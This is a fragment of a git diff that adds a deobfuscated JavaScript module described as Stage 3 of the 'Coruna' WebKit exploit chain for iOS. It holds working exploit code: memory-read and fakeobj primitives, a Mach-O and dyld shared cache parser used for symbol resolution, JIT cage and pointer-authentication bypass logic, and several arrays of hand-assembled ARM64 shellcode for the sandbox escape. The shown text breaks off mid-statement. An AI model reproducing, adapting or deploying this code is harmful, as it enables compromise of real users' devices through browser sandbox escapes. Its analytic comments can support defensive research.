platformModule.platformState.Wn.call({ + ab: this.hb.Lb, + sb: t, + x1: s, + x2: i + }) + } + Zb(t, s, i) { + return platformModule.platformState.Wn.call({ + ab: this.hb.$b, + sb: t, + x1: s, + x2: i + }) + } +} +return r; \ No newline at end of file diff --git a/Stage3_VariantB.js b/Stage3_VariantB.js new file mode 100644 index 0000000..155f1ea --- /dev/null +++ b/Stage3_VariantB.js @@ -0,0 +1,1559 @@ +/** + * Stage 3: Sandbox Escape (Deobfuscated) + * Original hash: 9af53c1bb40f0328841df6149f1ef94f5336ae11 + * + * This module implements the sandbox escape and post-exploitation setup for the + * Coruna exploit chain. It builds a Mach-O payload in memory, resolves symbols, + * and uses PAC-signed function pointers to escape the WebKit sandbox. + * + * Structure (3 nested modules unwrapped from base64): + * Inner module (lines ~1-484): Mach-O parser + ImageList + export trie (shared with Stage 2) + * Middle module (lines ~485-788): JIT cage bypass, PAC-aware function caller, caller setup + * Outer module (lines ~789-end): Offset64 class, Mach-O payload builder, sandbox escape entry + * + * Key capabilities: + * - Mach-O load command parser (Y/parseMachOHeaders), image resolver + * - Export trie parser for dyld symbol resolution + * - JIT cage pointer bypass via WASM module indirect call table + * - PAC-aware arbitrary function caller (F.caller.jd) + * - Offset64 (MA) class for 64-bit offset arithmetic without BigInt + * - MachOPayloadBuilder (oA) — builds Mach-O binary in memory with: + * headers, segments (__PAGEZERO, __TEXT, __DATA, __LINKEDIT), + * sections (__text, __stubs, __const, __data, __common), + * symbol table, string table, dysymtab, code signature + * - executeSandboxEscape (yA) — resolves system APIs and triggers escape + * + * Module dependencies: + * - 57620206d62079baad0e57e6d9ec93120c0f5247 (utility_module.js) + * - 14669ca3b1519ba2a8f40be287f646d4d7593eb0 (platform_module.js) + */ + +// ════════════════════════════════════════════════════════════════════════════ +// Inner module: Mach-O parser + Image list (shared code with Stage 2) +// ════════════════════════════════════════════════════════════════════════════ +globalThis.moduleManager.evalCode("ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8", function () { + let r = {}; + const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + { + N: G + } = utilityModule, + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + { + zn: F + } = platformModule, + Z = F.Ln; + + // ── Mach-O load command parser ─────────────────────────────────────────── + function Y(t, r = !1) {/* Original: Y → parseMachOHeaders */ + const e = platformModule.platformState.exploitPrimitive, + n = e.read32FromInt64(t.H(16)); + let s = t.H(32), + i = new utilityModule.Int64(0, 0), + o = !0, + h = !1, + c = null, + l = null, + f = null, + a = 0, + u = null, + d = null, + w = null, + g = null, + m = !1; + const E = []; + for (let f = 0; f < n; f++) { + const n = e.read32FromInt64(s), + f = e.read32FromInt64(s.H(4)); + switch (n) { + case 15: // LC_MAIN + m = !0; + break; + case 50: // LC_BUILD_VERSION + r && 1 === e.read32FromInt64(s.H(8)) && (w = !0, g = e.read32FromInt64(s.H(12))); + break; + case 25: {// LC_SEGMENT_64 + const n = { + Xe: e.readStringFromInt64(s.H(8), 16), + qe: e.readInt64FromInt64(s.H(24)), + Eo: e.readInt64FromInt64(s.H(24)), + Oo: e.readInt64FromInt64(s.H(32)), + Qe: e.readInt64FromInt64(s.H(40)), + zo: e.readInt64FromInt64(s.H(48)), + $o: e.read32FromInt64(s.H(56)), + qo: e.read32FromInt64(s.H(60)), + Mo: e.read32FromInt64(s.H(64)), + flags: e.read32FromInt64(s.H(68)), + Do: s.H(72), + Lo: {}, + dump() { } + }; + if (r) + for (let t = 0; t < n.Mo; t += 1) { + const r = n.Do.H(80 * t), + s = { + Xe: e.readStringFromInt64(r.H(16), 16), + Vo: e.readStringFromInt64(r.H(0), 16), + qe: e.readInt64FromInt64(r.H(32)), + Oo: e.readInt64FromInt64(r.H(40)), + Qe: e.read32FromInt64(r.H(48)), + dump() { } + }; + n.Lo[s.Vo] = s; + } + switch (E.push(n), n.Xe) { + case "__TEXT": + n.Qe.Et() ? o = !1 : l = t.sub(n.Qe), i = t.sub(n.qe); + break; + case "__LINKEDIT": + u = n.qe.add(i).sub(n.Qe); + break; + case "__AUTH_CONST": + if (r) { + const t = n.Lo.__auth_got; + void 0 !== t && (d = t.qe.add(i)); + } + } + break; + } + case 0x80000022 /* 4294967296 + (929916783 ^ -1217566899) */: + h = !0, c = e.read32FromInt64(s.H(40)), a = e.read32FromInt64(s.H(44)); + break; + case 0x80000033 /* 4294967296 + (1867658329 ^ -279825302) */: + h = !0, c = e.read32FromInt64(s.H(8)), a = e.read32FromInt64(s.H(12)); + } + s = s.H(f); + } + let _ = i; + if (r && !o && !m) { + const r = e.read32FromInt64(t.H(4)); + if (w && 0x0100000c /* 1932683608 ^ 1915906388 */ === r && g >= 0xb0000 /* 1466849650 ^ 1466259826 */) { + if (null === d) throw new Error("null === d"); + let t = e.readInt64FromInt64(d).Dt(); + if (t.Et()) throw new Error("t.Et()"); + for (t = t.Bt(t.it % 0x1000 /* 1699169646 ^ 1699173742 */); + 0xfeedfacf /* 4294967296 + (1314404404 ^ -1330265349) */ !== e.read32FromInt64(t);) t = t.Bt(0x1000 /* 1714972491 ^ 1714976587 */); + const r = this.Xo(t); + l = r.Ho.Zo, _ = r.Ho.Ko; + } + } + for (let t = 0; t < E.length; t++) { + const r = E[t], + e = r.qe; + r.qe = e.add(i); + } + return h && c && (f = u.H(c)), new MachOImage({ + Go: t, + Jo: n, + Qo: i, + Yo: u, + Zo: l, + Ko: _, + th: f, + rh: a + }, E); + } + // ── Module helper exports ──────────────────────────────────────────────── + r.ur = function () { + return Y(platformModule.platformState.yn, !0); + }, r.Xo = Y; + // ── MachOImage class ───────────────────────────────────────────────────── + class MachOImage {/* Original: tt → MachOImage */ + constructor(t, r) { + this.Ho = t, this.eh = r, this.nh = new Uint8Array([]), this.sh = !1; + } + sr() { + return new rt(this); + } + ar() { + return new et(this); + } + ih(t) { + const r = this.oh("_" + t); + return r ? this.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + oh(t) { + if (!1 === this.sh) { + this.sh = !0; + const t = new Uint32Array(this.Ho.rh + 3 >> 2); + for (let r = 0; r < t.length; r++) t[r] = platformModule.platformState.exploitPrimitive.read32FromInt64(this.Ho.th.H(4 * r)); + this.nh = new Uint8Array(t.buffer); + } + const r = this.nh; + let e = "", + n = 0, + s = !1; + for (; !s;) { + s = !0; + let i = 0, + o = 0; + do { + i += (127 /* 2004504407 ^ 2004504360 */ & r[n]) << o, o += 7; + } while (128 /* 1598192238 ^ 1598192366 */ & r[n++]); + if (e === t && 0 !== i) { + n++; + let t = 0; + o = 0; + do { + t += (127 /* 2018992691 ^ 2018992716 */ & r[n]) << o, o += 7; + } while (128 /* 1783716180 ^ 1783716308 */ & r[n++]); + return t; + } + n += i; + const h = r[n++]; + for (let i = 0; i < h; i++) { + let i = ""; + for (; 0 !== r[n];) i += String.fromCharCode(r[n++]); + n++; + let h = 0; + o = 0; + do { + h += (127 /* 2053530479 ^ 2053530384 */ & r[n]) << o, o += 7; + } while (128 /* 1936946514 ^ 1936946642 */ & r[n++]); + if (i.length && e + i === t.substr(0, e.length + i.length)) { + e += i, n = h, s = !1; + break; + } + } + } + return 0; + } + } + const tt = MachOImage; + // ── ExportTrieParser ───────────────────────────────────────────────────── + class rt {/* Original: rt → ExportTrieParser */ + constructor(t) { + this.hh = t, this.lh = this.hh.Ho.Go; + } + ih(t) { + const r = this.hh.oh("_" + t); + return r ? this.hh.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + dlsym(t) { + const r = this.hh.oh("_" + t); + if (!r) throw new Error("Stage3 rt.dlsym(" + t + "): symbol not found"); + return r ? this.hh.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + ah(t) { + return 0 !== this.hh.oh("_" + t); + } + uh(...t) { + for (const r of t) try { + return this.dlsym(r); + } catch (t) { + continue; + } + throw new Error("rt.uh(...t) failed"); + } + } + // ── MachOImageView (section/segment accessor) ──────────────────────────── + class et {/* Original: et → MachOImageView */ + constructor(t) { + this.hh = t, this.dh = null, this.wh = this.hh.Ho.Go.yt(); + } + ih(t) { + const r = this.hh.oh("_" + t); + return r ? this.wh + r : 0; + } + uh(...t) { + for (const r of t) try { + return this.dlsym(r); + } catch (t) { + continue; + } + throw new Error("et.uh(...t) failed"); + } + ah(t) { + return 0 !== this.hh.oh("_" + t); + } + dlsym(t) { + const r = this.hh.oh("_" + t); + if (!r) throw new Error("Stage3 et.dlsym(" + t + "): symbol not found"); + return this.wh + r; + } + gh(t) { + return { + Xe: t.Xe, + qe: t.qe.yt(), + Eo: t.Eo.yt(), + Oo: t.Oo.yt(), + Qe: t.Qe.yt(), + zo: t.zo.yt(), + $o: t.$o, + qo: t.qo, + Mo: t.Mo, + flags: t.flags, + Do: t.Do.yt(), + Lo: t.Lo + }; + } + mh(t) { + return { + Xe: t.Xe, + Vo: t.Vo, + qe: t.qe.yt(), + Oo: t.Oo.yt(), + Qe: t.Qe.yt() + }; + } + Eh(t) { + for (let r = 0; r < this.hh.eh.length; r++) + if (this.hh.eh[r].Xe === t) return this.gh(this.hh.eh[r]); + return null; + } + _h(t, r) { + const e = this.Eh(t); + if (null !== e) { + if (0 !== Object.keys(e.Lo).length) { + const t = e.Lo[r]; + return void 0 !== t ? this.mh(t) : null; + } { + let n = null; + for (let s = 0; s < e.Mo; s++) { + const i = e.Do + 80 * s, + o = t, + h = platformModule.platformState.exploitPrimitive.readString(i, 16), + c = { + Xe: o, + Vo: h, + qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 32).add(this.hh.Ho.Qo), + Oo: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 40), + Qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 48) + }; + r === h && (n = c), e.Lo[h] = c; + } + return n ? this.mh(n) : null; + } + } + return null; + } + bh(t, r) { + const e = this.Eh(t); + if (null !== e) + for (let n = 0; n < e.Mo; n++) { + const s = e.Do + 80 * n, + i = t, + o = platformModule.platformState.exploitPrimitive.readString(s, 16); + if (r === o) { + const t = { + Xe: i, + Vo: o, + qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 32).add(this.hh.Ho.Qo), + Oo: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 40), + Qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 48) + }; + return this.mh(t); + } + } + return null; + } + ph(t) { + const r = this.Eh(t); + if (!r) throw new Error("Stage3 et.ph(" + t + "): segment not found"); + return r; + } + Sh() { + return null === this.dh && (this.dh = new nt(this.hh.Ho.Ko.yt(), this.hh.Ho.Zo.yt())), this.dh; + } + xh(t) { + const r = this.ih(t); + return 0 !== r ? platformModule.platformState.exploitPrimitive.readInt64FromOffset(r) : new utilityModule.Int64(0, 0); + } + Ih(t) { + const r = this.ph("__TEXT"); + return t - r.Eo + r.qe; + } + Th(t) { + const r = this.ih(t); + return 0 !== r ? platformModule.platformState.exploitPrimitive.readRawBigInt(r) : 0; + } + yh(t, r) { + const e = this.ih(t); + return 0 !== e ? platformModule.platformState.exploitPrimitive.readByte(e) : r; + } + kh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) { + const n = e.qe + t; + if (platformModule.platformState.exploitPrimitive.read32(n) === r >>> 0 && platformModule.platformState.exploitPrimitive.read32(n + 4) === r / 4294967296 >>> 0) return n; + } + throw new Error("et.kh(t, r) failed"); + } + Oh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + const n = e.qe, + s = e.qe + e.Oo; + return r >= n && r < s; + } + zh(t, r, e) { + const n = this._h(t, r); + if (null === n) throw new Error("null === n"); + const s = n.qe, + i = n.qe + n.Oo; + return e >= s && e < i; + } + Ph(t) { + for (let r = 0; r < this.hh.eh.length; r++) + if (this.Oh(this.hh.eh[r].Xe, t)) return !0; + return !1; + } + Uh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) + if (platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e.qe + t) === r) return e.qe + t; + throw new Error("et.Uh(t, r) failed"); + } + Ah(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) + if (platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e.qe + t) === r) return platformModule.platformState.exploitPrimitive.readInt64FromOffset(e.qe + t); + throw new Error("et.Ah(t, r) failed"); + } + $h(t, r, e) { + const n = this.Eh(t); + if (null === n) throw new Error("null === n"); + const s = this.Eh(r); + if (null === s) throw new Error("null === s"); + for (let t = 0; t < s.Oo; t += 8) { + const r = platformModule.platformState.exploitPrimitive.readDoubleAsPointer(s.qe + t); + if (r >= n.qe && r < n.qe + n.Oo && !0 === e(r, platformModule.platformState.exploitPrimitive.readInt64FromOffset(s.qe + t))) break; + } + } + qh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 4) { + const n = e.qe + t; + if (!0 === r(n, platformModule.platformState.exploitPrimitive.read32(n))) break; + } + } + Rh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) { + const n = e.qe + t; + if (!0 === r(Z.ut(n))) break; + } + } + Ch(t) { + for (const r of this.hh.eh) { + const e = Z.ut(r.qe), + n = Z.ut(r.qe).H(utilityModule._(r.Oo)); + if (t.Pi(e) && t.Si(n)) return r; + } + return null; + } + } + // ── ImageList (dyld shared cache resolver) ─────────────────────────────── + class nt {/* Original: nt → ImageList */ + constructor(t, r) { + this.Mh = t, this.Dh = r, this.Lh = !1, this.Bh = {}, this.images = this.Nh(); + } + Vh() { + return platformModule.platformState.exploitPrimitive.readString(this.Dh); + } + Xh() { + return "dyld_v1 arm64e" === this.Vh(); + } + Zh() { + return this.Mh; + } + Nh() { + const t = []; + if (!this.Vh().startsWith("dyld")) throw new Error("!this.Vh().startsWith(dyld)"); + let r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 24), + e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 28); + if (0 === r && 0 === e && (this.Lh = !0, r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 448 /* 1282692186 ^ 1282692506 */), e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 452 /* 946890306 ^ 946890630 */), 0 === r && 0 === e)) throw new Error("0 === r && 0 === e && (this.Lh = !0, r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 448 /* 1282692186 ^ 1282692506 */), e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 452 /* 946890306 ^ 946890630 */), 0 === r && 0 === e)"); + for (let n = 0; n < e; n++) { + const e = this.Dh + r + 32 * n, + s = platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e) + this.Mh, + i = platformModule.platformState.exploitPrimitive.read32(e + 24), + o = platformModule.platformState.exploitPrimitive.readString(this.Dh + i); + t.push({ + address: s, + path: o + }); + } + return t; + } + jh() { + const t = []; + for (const r of this.images) t.push(r.path); + return t; + } + Fh(t, r) { + return this.Hh(t).dlsym(r); + } + Kh(t) { + for (const r of this.images) try { + return this.Hh(r.path).dlsym(t); + } catch (t) { + continue; + } + throw new Error("nt.Kh(t) failed"); + } + Gh(t) { + for (let r = 0; r < this.images.length; r++) + if (-1 !== this.images[r].path.indexOf(t)) return this.images[r].address; + return 0; + } + Hh(t) { + if (void 0 === this.Bh[t]) { + const r = this.Gh(t); + if (0 === r) return null; + this.Bh[t] = Y(utilityModule.Int64.fromNumber(r)).ar(); + } + return this.Bh[t]; + } + Jh(t) { + const r = this.Hh(t); + if (null === r) throw new Error("null === r"); + return r; + } + Qh(...t) { + for (const r of t) try { + return this.Jh(r); + } catch (t) { } + throw new Error("nt.Qh(...t) failed"); + } + } + + window.log("Done ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8"); + return r; // End of inner module (Mach-O parser + ImageList) +}); + +// ════════════════════════════════════════════════════════════════════════════ +// Middle module: JIT cage bypass + PAC-aware function caller +// ════════════════════════════════════════════════════════════════════════════ +globalThis.moduleManager.evalCode("b5135768e043d1b362977b8ba9bff678b9946bcb", function () { + let r = {}; + const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + { + N: G_unused, + Vt: Int64 + } = utilityModule, + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + platformState = platformModule.platformState, + exploitPrimitive = platformState.exploitPrimitive, + pacBypass = platformState.pacBypass; + + // ── Offset64 helpers ───────────────────────────────────────────────────── + function newInt64(b, a = 0) { + return new Int64(b, a); + } + + function toInt64(b) { + return b instanceof Int64 ? b : Int64.fromNumber(b); + } + // ── SandboxEscapeBase (cb) ─────────────────────────────────────────────── + class SandboxEscapeBase {/* Original: cb → SandboxEscapeBase */ + Td() { + const b = new Function("let x = 2; x += 3; x += 4; return Math.random(1, 1) + " + Math.random() + " + " + Math.random() + " + " + Math.random() + " + x;"); + for (let a = 0; a < 10000 /* 1783712851 ^ 1783720771 */; a++) b(); + return b; + } + static newInstance() { + return new SandboxEscape(); + } + constructor() { + this.Gd = !1, this.fd = !1, this.kd = new Uint32Array(4096 /* 1868128841 ^ 1868132937 */), utilityModule.D(this.kd), this.Dd = exploitPrimitive.fakeobj(this.kd), this.Zd = new Uint32Array(4096 /* 1128612948 ^ 1128617044 */), utilityModule.D(this.Zd), this.Nd = exploitPrimitive.fakeobj(this.Zd); + } + wd(b, a = 0) { + const l = this.newInt64OfSomething(b.byteLength + a), + i = exploitPrimitive.fakeobj(b); + return this.Ad(l, toInt64(i), b.byteLength), l; + } + Ad(b, a, l) { } + newInt64OfSomething(b) { + return newInt64(0); + } + Sd() { + if (null === platformState.caller) throw new Error("null === platformState.caller"); + return platformState.caller; + } + } + const cb = SandboxEscapeBase; + // ── SandboxEscape implementation (ob) ──────────────────────────────────── + class SandboxEscape extends SandboxEscapeBase {/* Original: ob → SandboxEscape */ + constructor() { + super(), this.Wd = !1, this.machOParser = platformModule.cr(); + try { + this.xd = this.machOParser.dlsym("_ZN3WTF13MetaAllocator8allocateEmPv"); + } catch (b) { + this.xd = this.machOParser.dlsym("_ZN3WTF13MetaAllocator8allocateERKNS_6LockerINS_4LockEEEm"), this.Wd = !0; + } + this.Qd = this.machOParser.uh("_ZN3JSC10LinkBuffer8linkCodeERNS_14MacroAssemblerEPvNS_20JITCompilationEffortE", "_ZN3JSC10LinkBuffer8linkCodeERNS_14MacroAssemblerENS_20JITCompilationEffortE"); + try { + this.Rd = this.machOParser.uh("_ZN3JSC22ExecutableMemoryHandle10createImplEm"), this.Gd = !0; + } catch (b) { } + this.Hd = this.Vd(), !0 === platformModule.platformState.versionFlags.OwGD0F && !1 === this.Gd || !0 === platformModule.platformState.versionFlags.NUFCII ? this.fd = !0 : !0 === platformModule.platformState.versionFlags.IsjfuV && !0 === platformState.hasPAC && (this.fd = ((b) => { + const a = Symbol(), + l = Symbol(), + i = Symbol(), + c = Symbol(), + o = (b, o) => { + const d = exploitPrimitive.read32(b + o); + if (0xd65f0fff /* 4294967296 + (812470091 ^ -432914252) */ === d || 0xd65f03c0 /* 4294967296 + (1378693962 ^ -2072891254) */ === d) return { + kind: 0xd65f0fff /* 4294967296 + (1986424389 ^ -1606852166) */ === d ? i : l, + me: o + }; + if (d >>> 26 == 37) { + let b = 0x04ffffff /* 1868724019 ^ 1805486284 */ & d; + return b >= 0x04000000 /* 1648780642 ^ 1715889506 */ && (b -= 0x04000000 /* 2018405446 ^ 2085514310 */), { + kind: a, + me: o, + Yd: b + }; + } + return d >>> 10 == 0x0036b043 /* 827803727 ^ 828504076 */ || d >>> 10 == 0x0036b04b /* 1450003300 ^ 1448868655 */ ? { + me: o, + kind: c, + Rn: d >>> 5 & 15, + Pd: 15 & d + } : null; + }, + d = (() => { + for (let c = 0; c < 0x500 /* 1131829831 ^ 1131831111 */; c += 4) { + const d = o(b, c); + if (null !== d) { + if (d.kind === a) return b + c + 4 * d.Yd; + if (d.kind === l || d.kind === i) throw new Error("d.kind === l || d.kind === i"); + } + } + })(); + if (0xd503237f /* 4294967296 + (1699107162 ^ -1337626075) */ !== exploitPrimitive.read32(d)) throw new Error("0xd503237f /* 4294967296 + (1699107162 ^ -1337626075) */ !== exploitPrimitive.read32(d)"); + const h = {}, + g = []; + for (let b = 0; b < 0x500 /* 1231839093 ^ 1231837813 */; b += 4) { + const a = o(d, b); + if (null !== a && (h[b] = a, a.kind === c && g.push(a), a.kind === l || a.kind === i)) break; + } + if (g.length < 3 || g.length > 8) throw new Error("g.length < 3 || g.length > 8"); + const s = g[1], + t = g[2]; + return s.Pd !== s.sandboxEscape || s.me + 4 !== t.me; + })(this.Qd)), this.kd = new Uint32Array(4096 /* 1498362445 ^ 1498358349 */), utilityModule.D(this.kd), this.Dd = exploitPrimitive.fakeobj(this.kd); + try { + this.machOParser.dlsym("_ZN3JSC20SecureARM64EHashPins27allocatePinForCurrentThreadEv"), this.Jd = !0; + } catch (b) { + this.Jd = !1; + } + this.Od = null, null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc && (this.Od = pacBypass.pacda(toInt64(this.Qd), toInt64(0))); + let b, a = null; + if (!0 === this.fd) { + if (!0 === platformModule.platformState.versionFlags.sKfNmf) { + for (a = !0 === platformModule.platformState.versionFlags.wYk8Jg ? [ + // ----- function prologue (PAC + callee-save) ----- + 0xD503237F, // paciasp ; sign LR with IA key + SP + 0xA9BF7BFD, // stp x29, x30, [sp, #-16]! ; push frame pointer + link register + 0x910003FD, // add x29, sp, #0x0 ; fp = sp (establish frame) + 0xA9BF53F3, // stp x19, x20, [sp, #-16]! ; push x19-x20 + 0xA9BF5BF5, // stp x21, x22, [sp, #-16]! ; push x21-x22 + 0xA9BF63F7, // stp x23, x24, [sp, #-16]! ; push x23-x24 + 0xA9BF6BF9, // stp x25, x26, [sp, #-16]! ; push x25-x26 + 0xA9BF73FB, // stp x27, x28, [sp, #-16]! ; push x27-x28 + // ----- zero-initialise loop variables ----- + 0xD2800013, // movz x19, #0x0 ; x19 = 0 + 0xD2800014, // movz x20, #0x0 ; x20 = 0 + 0xD2800015, // movz x21, #0x0 ; x21 = 0 + 0xD2800016, // movz x22, #0x0 ; x22 = 0 (byte index, increments by 4) + // ----- main loop: compare index to length ----- + 0xEB0102DF, // cmp x22, x1, uxtb #0 ; index vs count + 0x5400030A, // b.ge #+0x60 ; if index >= count -> epilogue + // ----- loop body ----- + 0xB8766815, // ldr w21, [x0, w22, lsl #0] ; w21 = input[index] + 0x91000694, // add x20, x20, #0x1 ; x20++ + 0xAA1403FB, // mov x27, x20 ; x27 = x20 + // ----- build authenticated pointer for fn_A ----- + 0x92405F7B, // movn x27, #0x2fb, lsl #32 ; x27 = ~(0x2fb << 32) + 0xD2800257, // movz x23, #0x12 ; x23 = 0x12 + 0xD3481EF7, // lsl x23, x23, #56 ; x23 <<= 56 + 0x8B1B82F7, // add x23, x23, x27, lsl #32 ; x23 += x27 << 32 + 0x8B1302F7, // add x23, x23, x19 ; x23 += x19 (final ptr A) + 0xAA1503F9, // mov x25, x21 ; x25 = current element + 0xDAC10AF9, // braaz x23 ; branch (auth IA, zero) to x23 + 0xD367FF39, // lsr x25, x25, #23 ; x25 >>= 23 + // ----- build authenticated pointer for fn_B ----- + 0xD2800278, // movz x24, #0x13 ; x24 = 0x13 + 0xD3481F18, // lsl x24, x24, #56 ; x24 <<= 56 + 0x8B1B8318, // add x24, x24, x27, lsl #32 ; x24 += x27 << 32 + 0x8B130318, // add x24, x24, x19 ; x24 += x19 (final ptr B) + 0xAA1503FA, // mov x26, x21 ; x26 = current element + 0xDAC10B1A, // braaz x24 ; branch (auth IA, zero) to x24 + 0xD357FF5A, // lsr x26, x26, #23 ; x26 >>= 23 + // ----- XOR results and store ----- + 0xCA19035A, // eor x26, x26, x25 ; x26 ^= x25 + 0x2A1A03F3, // mov w19, w26 ; w19 = low 32 bits + 0xB8366873, // str w19, [x3, w22, uxtw #0] ; output[index] = w19 + 0x910012D6, // add x22, x22, #0x4 ; index += 4 + 0x17FFFFE8, // b #-0x60 ; -> loop top + // ----- function epilogue (callee-restore) ----- + 0xA8C173FB, // ldp x27, x28, [sp], #16 ; pop x27-x28 + 0xA8C16BF9, // ldp x25, x26, [sp], #16 ; pop x25-x26 + 0xA8C163F7, // ldp x23, x24, [sp], #16 ; pop x23-x24 + 0xA8C15BF5, // ldp x21, x22, [sp], #16 ; pop x21-x22 + 0xA8C153F3, // ldp x19, x20, [sp], #16 ; pop x19-x20 + 0xA8C17BFD, // ldp x29, x30, [sp], #16 ; pop frame pointer + link register + 0xD65F0FFF // retaa ; authenticated return (IA key) + ] : [ + // ----- wYk8Jg=false variant: same structure, blraaz instead of braaz ----- + // ----- function prologue ----- + 0xD503237F, // paciasp + 0xA9BF7BFD, // stp x29, x30, [sp, #-16]! + 0x910003FD, // add x29, sp, #0x0 + 0xA9BF53F3, // stp x19, x20, [sp, #-16]! + 0xA9BF5BF5, // stp x21, x22, [sp, #-16]! + 0xA9BF63F7, // stp x23, x24, [sp, #-16]! + 0xA9BF6BF9, // stp x25, x26, [sp, #-16]! + 0xA9BF73FB, // stp x27, x28, [sp, #-16]! + // ----- zero-init ----- + 0xD2800013, // movz x19, #0x0 + 0xD2800014, // movz x20, #0x0 + 0xD2800015, // movz x21, #0x0 + 0xD2800016, // movz x22, #0x0 + // ----- loop ----- + 0xEB0102DF, // cmp x22, x1, uxtb #0 + 0x5400030A, // b.ge #+0x60 + 0xB8766815, // ldr w21, [x0, w22, lsl #0] + 0x91000694, // add x20, x20, #0x1 + 0xAA1403FB, // mov x27, x20 + 0x92405F7B, // movn x27, #0x2fb, lsl #32 + 0xD2800257, // movz x23, #0x12 + 0xD3481EF7, // lsl x23, x23, #56 + 0x8B1B82F7, // add x23, x23, x27, lsl #32 + 0x8B1302F7, // add x23, x23, x19 + 0xAA1503F9, // mov x25, x21 + 0xDAC10EF9, // blraaz x23 ; call with link (auth IA, zero) to x23 + 0xD367FF39, // lsr x25, x25, #23 + 0xD2800278, // movz x24, #0x13 + 0xD3481F18, // lsl x24, x24, #56 + 0x8B1B8318, // add x24, x24, x27, lsl #32 + 0x8B130318, // add x24, x24, x19 + 0xAA1503FA, // mov x26, x21 + 0xDAC10F1A, // blraaz x24 ; call with link (auth IA, zero) to x24 + 0xD357FF5A, // lsr x26, x26, #23 + 0xCA19035A, // eor x26, x26, x25 + 0x2A1A03F3, // mov w19, w26 + 0xB8366873, // str w19, [x3, w22, uxtw #0] + 0x910012D6, // add x22, x22, #0x4 + 0x17FFFFE8, // b #-0x60 + // ----- epilogue ----- + 0xA8C173FB, // ldp x27, x28, [sp], #16 + 0xA8C16BF9, // ldp x25, x26, [sp], #16 + 0xA8C163F7, // ldp x23, x24, [sp], #16 + 0xA8C15BF5, // ldp x21, x22, [sp], #16 + 0xA8C153F3, // ldp x19, x20, [sp], #16 + 0xA8C17BFD, // ldp x29, x30, [sp], #16 + 0xD65F0FFF // retaa + ]; 4 * a.length % 32 != 0;) a.push(0xD503201F /* nop */); + b = new Uint32Array(a); + } else { + // sKfNmf=false: same loop body, no PACIASP / retaa (device lacks ARMv8.3 PAuth) + for (a = [ + // ----- prologue (no pointer auth) ----- + 0xA9BF7BFD, // stp x29, x30, [sp, #-16]! + 0x910003FD, // add x29, sp, #0x0 + 0xA9BF53F3, // stp x19, x20, [sp, #-16]! + 0xA9BF5BF5, // stp x21, x22, [sp, #-16]! + 0xA9BF63F7, // stp x23, x24, [sp, #-16]! + 0xA9BF6BF9, // stp x25, x26, [sp, #-16]! + 0xA9BF73FB, // stp x27, x28, [sp, #-16]! + // ----- zero-init ----- + 0xD2800013, // movz x19, #0x0 + 0xD2800014, // movz x20, #0x0 + 0xD2800015, // movz x21, #0x0 + 0xD2800016, // movz x22, #0x0 + // ----- loop (identical logic to wYk8Jg=false) ----- + 0xEB0102DF, // cmp x22, x1, uxtb #0 + 0x5400030A, // b.ge #+0x60 + 0xB8766815, // ldr w21, [x0, w22, lsl #0] + 0x91000694, // add x20, x20, #0x1 + 0xAA1403FB, // mov x27, x20 + 0x92405F7B, // movn x27, #0x2fb, lsl #32 + 0xD2800257, // movz x23, #0x12 + 0xD3481EF7, // lsl x23, x23, #56 + 0x8B1B82F7, // add x23, x23, x27, lsl #32 + 0x8B1302F7, // add x23, x23, x19 + 0xAA1503F9, // mov x25, x21 + 0xDAC10EF9, // blraaz x23 + 0xD367FF39, // lsr x25, x25, #23 + 0xD2800278, // movz x24, #0x13 + 0xD3481F18, // lsl x24, x24, #56 + 0x8B1B8318, // add x24, x24, x27, lsl #32 + 0x8B130318, // add x24, x24, x19 + 0xAA1503FA, // mov x26, x21 + 0xDAC10F1A, // blraaz x24 + 0xD357FF5A, // lsr x26, x26, #23 + 0xCA19035A, // eor x26, x26, x25 + 0x2A1A03F3, // mov w19, w26 + 0xB8366873, // str w19, [x3, w22, uxtw #0] + 0x910012D6, // add x22, x22, #0x4 + 0x17FFFFE8, // b #-0x60 + // ----- epilogue (plain ret, no auth) ----- + 0xA8C173FB, // ldp x27, x28, [sp], #16 + 0xA8C16BF9, // ldp x25, x26, [sp], #16 + 0xA8C163F7, // ldp x23, x24, [sp], #16 + 0xA8C15BF5, // ldp x21, x22, [sp], #16 + 0xA8C153F3, // ldp x19, x20, [sp], #16 + 0xA8C17BFD, // ldp x29, x30, [sp], #16 + 0xD65F03C0 // ret ; plain return (no PAuth check) + ]; 4 * a.length % 32 != 0;) a.push(0xD503201F /* nop */); + b = new 